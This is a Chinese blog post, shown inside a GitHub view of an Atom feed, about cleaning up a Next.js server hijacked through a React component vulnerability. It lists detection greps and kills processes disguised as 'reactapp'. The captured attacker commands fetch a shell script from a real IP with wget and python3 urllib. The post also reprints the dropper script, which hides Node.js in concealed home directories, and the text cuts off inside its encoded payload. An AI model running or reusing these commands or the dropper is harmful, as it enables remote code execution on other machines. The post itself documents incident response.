-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathatom.xml
More file actions
544 lines (287 loc) · 220 KB
/
atom.xml
File metadata and controls
544 lines (287 loc) · 220 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>chenzuoli's blog</title>
<subtitle>Focus on truth. welcome to correct.</subtitle>
<link href="https://chenzuoli.github.io/atom.xml" rel="self"/>
<link href="https://chenzuoli.github.io/"/>
<updated>2025-12-29T22:18:11.390Z</updated>
<id>https://chenzuoli.github.io/</id>
<author>
<name>Lee</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>记录一下网站被攻击</title>
<link href="https://chenzuoli.github.io/2025/12/30/%E8%AE%B0%E5%BD%95%E4%B8%80%E4%B8%8B%E7%BD%91%E7%AB%99%E8%A2%AB%E6%94%BB%E5%87%BB/"/>
<id>https://chenzuoli.github.io/2025/12/30/%E8%AE%B0%E5%BD%95%E4%B8%80%E4%B8%8B%E7%BD%91%E7%AB%99%E8%A2%AB%E6%94%BB%E5%87%BB/</id>
<published>2025-12-29T21:41:39.000Z</published>
<updated>2025-12-29T22:18:11.390Z</updated>
<content type="html"><![CDATA[<p>记录一下网站被攻击的情况,及我如何处理的。</p><span id="more"></span><h1 id="1-网站的react和next-js组件有漏洞"><a href="#1-网站的react和next-js组件有漏洞" class="headerlink" title="1. 网站的react和next.js组件有漏洞"></a>1. 网站的react和next.js组件有漏洞</h1><p><img src="/2025/12/30/%E8%AE%B0%E5%BD%95%E4%B8%80%E4%B8%8B%E7%BD%91%E7%AB%99%E8%A2%AB%E6%94%BB%E5%87%BB/image.png" alt="漏洞"></p><h1 id="2-漏洞利用,导致网站被攻击,如何处理?"><a href="#2-漏洞利用,导致网站被攻击,如何处理?" class="headerlink" title="2. 漏洞利用,导致网站被攻击,如何处理?"></a>2. 漏洞利用,导致网站被攻击,如何处理?</h1><p>攻击者远程执行命令,可以使用跟网站应用同一个用户,执行命令,他会开启多个进程,这个进程会定时从远程服务器download 脚本,并执行,从而实现远程代码执行。</p><h1 id="3-如何检查异常?"><a href="#3-如何检查异常?" class="headerlink" title="3. 如何检查异常?"></a>3. 如何检查异常?</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line"># 查看是否存在异常命令</span><br><span class="line">ps -ef | grep bash</span><br><span class="line">ps -ef | grep sh</span><br><span class="line">ps -ef | grep python</span><br><span class="line">ps -ef | grep while</span><br><span class="line">ps -ef | grep do</span><br><span class="line">ps -ef | grep wget</span><br><span class="line">ps -ef | grep base64_decode</span><br><span class="line">ps -ef | grep eval</span><br><span class="line">ps -ef | grep exec</span><br><span class="line">ps -ef | grep system</span><br><span class="line">ps -ef | grep shell_exec</span><br><span class="line"></span><br><span class="line">ps -ef | grep upload</span><br><span class="line"></span><br><span class="line">cd /</span><br><span class="line">find . -name s.sh</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">查看异常进程:</span><br><span class="line">top -c</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"># 查看异常进程</span><br><span class="line">ps aux | grep -E "(php|perl|python|sh)" | grep -v grep</span><br><span class="line"></span><br><span class="line"># 检查异常网络连接</span><br><span class="line">netstat -antp | grep ESTABLISHED</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"># 查看数据库异常链接:</span><br><span class="line">SHOW TABLES LIKE '%shell%';</span><br><span class="line">SELECT * FROM information_schema.tables WHERE table_name LIKE '%temp%';</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"># 查看/tmp下的异常文件:</span><br><span class="line">ll -a /tmp</span><br><span class="line"># 清理:</span><br><span class="line">systemd-tmpfiles --clean</span><br><span class="line"></span><br><span class="line"># 检查是否有异常进程使用 /tmp</span><br><span class="line">lsof +D /tmp</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"># 查看定时任务:</span><br><span class="line">crontab -l</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"># 按CPU使用率排序</span><br><span class="line">ps aux --sort=-%cpu | head -20</span><br><span class="line">[root@iZuf6i5ap70cn1cede2ilzZ ~]# ps aux --sort=-%cpu | head -20</span><br><span class="line">USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND</span><br><span class="line">root 2526832 4.2 0.9 188368 72724 ? Ssl Sep18 5149:26 /usr/local/aegis/aegis_client/aegis_12_81/AliYunDunMonitor</span><br><span class="line">root 13194 0.7 1.4 3460548 109060 ? Ssl May04 2384:45 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock</span><br><span class="line">mysql 3858 0.6 18.4 2894152 1414468 ? Ssl May04 2219:45 /usr/sbin/mysqld</span><br><span class="line">lezhifu 3837117 13.2 0.0 3232 220 ? S 21:32 0:00 -sh reactapp</span><br><span class="line">root 7886 0.6 0.4 2169144 33124 ? Ssl May04 1993:53 /usr/bin/containerd</span><br><span class="line">root 1 0.5 0.0 178028 7172 ? Ss May04 1713:09 /usr/lib/systemd/systemd --switched-root --system --deserialize 18</span><br><span class="line">root 768 0.4 0.4 1372688 36660 ? Sl May04 1283:25 CmsGoAgent-Worker start</span><br><span class="line">lezhifu 5592 0.4 0.0 20804 5300 ? Ss May04 1425:34 /usr/lib/systemd/systemd --user</span><br><span class="line">lezhifu+ 1736624 0.4 0.1 20644 7928 ? Ss Nov24 118:45 /usr/lib/systemd/systemd --user</span><br><span class="line">lezhifu 1880653 0.3 0.2 801108 17496 ? SNsl Nov08 163:22 /usr/libexec/tracker-miner-fs-3</span><br><span class="line">root 2526620 0.3 0.2 98796 17588 ? Ssl Sep18 420:48 /usr/local/aegis/aegis_client/aegis_12_81/AliYunDun</span><br><span class="line">lezhiweb 3796579 0.3 1.8 11841960 139208 ? Sl 20:38 0:12 next-server (v15.2.6)</span><br><span class="line">lezhifu+ 1736710 0.2 0.2 801108 20136 ? SNsl Nov24 64:39 /usr/libexec/tracker-miner-fs-3</span><br><span class="line">root 2 0.0 0.0 0 0 ? S May04 0:14 [kthreadd]</span><br><span class="line">root 3 0.0 0.0 0 0 ? I< May04 0:00 [rcu_gp]</span><br><span class="line">root 4 0.0 0.0 0 0 ? I< May04 0:00 [rcu_par_gp]</span><br><span class="line">[root@iZuf6i5ap70cn1cede2ilzZ ~]#</span><br></pre></td></tr></table></figure><p><b>这里发现,有个异常进程:</b></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">lezhifu 3837117 13.2 0.0 3232 220 ? S 21:32 0:00 -sh reactapp</span><br></pre></td></tr></table></figure><h1 id="5-如何处理?"><a href="#5-如何处理?" class="headerlink" title="5. 如何处理?"></a>5. 如何处理?</h1><p>杀掉它:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">[root@iZuf6i5ap70cn1cede2ilzZ ~]#</span><br><span class="line">[root@iZuf6i5ap70cn1cede2ilzZ ~]# ps aux --sort=-%cpu | head -20 | grep react</span><br><span class="line">lezhifu 3837117 13.2 0.0 3232 220 ? S 21:32 0:00 -sh reactapp</span><br><span class="line">[root@iZuf6i5ap70cn1cede2ilzZ ~]#</span><br><span class="line"></span><br><span class="line">kill了一个reactapp伪装的reactapp任务,但是又启动了</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">[root@iZuf6i5ap70cn1cede2ilzZ ~]#</span><br><span class="line">[root@iZuf6i5ap70cn1cede2ilzZ ~]#</span><br><span class="line">[root@iZuf6i5ap70cn1cede2ilzZ ~]# ps aux | grep reactapp</span><br><span class="line">lezhifu 3746833 0.0 0.0 3204 220 ? S Dec09 0:00 -sh reactapp</span><br><span class="line">lezhifu 3837115 0.0 0.0 3232 220 ? S 21:32 0:00 -sh reactapp</span><br><span class="line">lezhifu 3837116 0.0 0.0 3232 220 ? S 21:32 0:00 -sh reactapp</span><br><span class="line">lezhifu 3837117 15.7 0.0 3232 220 ? S 21:32 0:26 -sh reactapp</span><br><span class="line">root 3837194 0.0 0.0 221528 864 pts/0 S+ 21:35 0:00 grep --color=auto reactapp</span><br><span class="line">[root@iZuf6i5ap70cn1cede2ilzZ ~]#</span><br><span class="line">[root@iZuf6i5ap70cn1cede2ilzZ ~]#</span><br><span class="line">[root@iZuf6i5ap70cn1cede2ilzZ ~]#</span><br><span class="line">[root@iZuf6i5ap70cn1cede2ilzZ ~]# ps aux | grep reactapp | awk '{print $2}'</span><br><span class="line">3746833</span><br><span class="line">3837115</span><br><span class="line">3837116</span><br><span class="line">3837117</span><br><span class="line">3837202</span><br></pre></td></tr></table></figure><p>伪装的reactapp任务,全部kill掉</p><h1 id="6-再看下它执行的另外的命令"><a href="#6-再看下它执行的另外的命令" class="headerlink" title="6. 再看下它执行的另外的命令"></a>6. 再看下它执行的另外的命令</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$ ps -ef | grep 3001</span><br><span class="line">lezhifu 3676729 3676681 0 14:41 ? 00:00:00 wget -qO ./s.sh http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh</span><br><span class="line">lezhifu 3677586 3677293 0 15:24 pts/0 00:00:00 grep --color=auto 3001</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$ kill</span><br><span class="line">kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$ ps -ef | grep 3001</span><br><span class="line">lezhifu 3676729 3676681 0 14:41 ? 00:00:00 wget -qO ./s.sh http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh</span><br><span class="line">lezhifu 3677593 3677293 0 15:25 pts/0 00:00:00 grep --color=auto 3001</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$ kill 3676729</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$ ps -ef | grep 3001</span><br><span class="line">lezhifu 3677605 3676681 3 15:25 ? 00:00:00 python3 -c import urllib.request as u;open('./s.sh','wb').write(u.urlopen('http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh').read())</span><br><span class="line">lezhifu 3677609 3677293 0 15:25 pts/0 00:00:00 grep --color=auto 3001</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$ kill -9 3677605</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$ ps -ef | grep 3001</span><br><span class="line">lezhifu 3677615 3677293 0 15:25 pts/0 00:00:00 grep --color=auto 3001</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$</span><br><span class="line">[lezhifu@iZuf6i5ap70cn1cede2ilzZ ~]$</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>攻击者直接远程执行了命令:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">wget -qO ./s.sh http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh</span><br><span class="line">python3 -c import urllib.request as u;open('./s.sh','wb').write(u.urlopen('http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh').read())</span><br></pre></td></tr></table></figure><p>远程下载shell文件,并执行shell文件,写入服务器。<br>这里贴一下shell文件内容,大家看下它的shell怎么写的,它把他的执行命令隐藏在base64编码中,如果服务器环境没有node,它还会帮你下载node,并解压到指定目录:当前用户的home目录:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">#!/bin/bash</span><br><span class="line">D="$HOME/.local/share/.05bf0e9b"</span><br><span class="line">ND="$D/.4dai8ovb"</span><br><span class="line">mkdir -p "$D" 2>/dev/null</span><br><span class="line">Z="$D/.n"</span><br><span class="line">U1="https://nodejs.org/dist/v20.10.0/node-v20.10.0-linux-x64.tar.gz"</span><br><span class="line">U2="https://nodejs.org/dist/v20.10.0/node-v20.10.0-linux-x64.tar.xz"</span><br><span class="line">if curl -sL "$U1" -o "${Z}.tar.gz" 2>/dev/null || wget -q "$U1" -O "${Z}.tar.gz" 2>/dev/null; then</span><br><span class="line"> if tar -xzf "${Z}.tar.gz" -C "$D" 2>/dev/null; then</span><br><span class="line"> rm -f "${Z}.tar.gz" 2>/dev/null</span><br><span class="line"> else</span><br><span class="line"> rm -f "${Z}.tar.gz" 2>/dev/null</span><br><span class="line"> curl -sL "$U2" -o "${Z}.tar.xz" 2>/dev/null || wget -q "$U2" -O "${Z}.tar.xz" 2>/dev/null</span><br><span class="line"> tar -xJf "${Z}.tar.xz" -C "$D" 2>/dev/null</span><br><span class="line"> rm -f "${Z}.tar.xz" 2>/dev/null</span><br><span class="line"> fi</span><br><span class="line">else</span><br><span class="line"> curl -sL "$U2" -o "${Z}.tar.xz" 2>/dev/null || wget -q "$U2" -O "${Z}.tar.xz" 2>/dev/null</span><br><span class="line"> tar -xJf "${Z}.tar.xz" -C "$D" 2>/dev/null</span><br><span class="line"> rm -f "${Z}.tar.xz" 2>/dev/null</span><br><span class="line">fi</span><br><span class="line">mv "$D/node-v20.10.0-linux-x64" "$ND" 2>/dev/null</span><br><span class="line">chmod +x "$ND/bin/node" 2>/dev/null</span><br><span class="line">echo "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